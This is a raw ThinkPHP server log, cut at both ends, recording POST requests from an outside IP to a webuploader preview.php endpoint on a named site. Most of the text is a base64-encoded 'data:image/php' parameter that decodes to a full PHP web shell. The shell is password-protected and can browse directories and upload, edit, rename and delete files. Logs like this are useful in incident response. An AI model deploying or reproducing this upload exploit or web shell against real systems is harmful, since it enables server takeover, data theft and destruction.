nQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:27+08:00 ] 119.42.146.234 POST 51tianwei.com/app/admincp/ui/webuploader/0.1.15/server/preview.php [运行时间:0.002855s] [吞吐率:350.28req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'admincp', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsN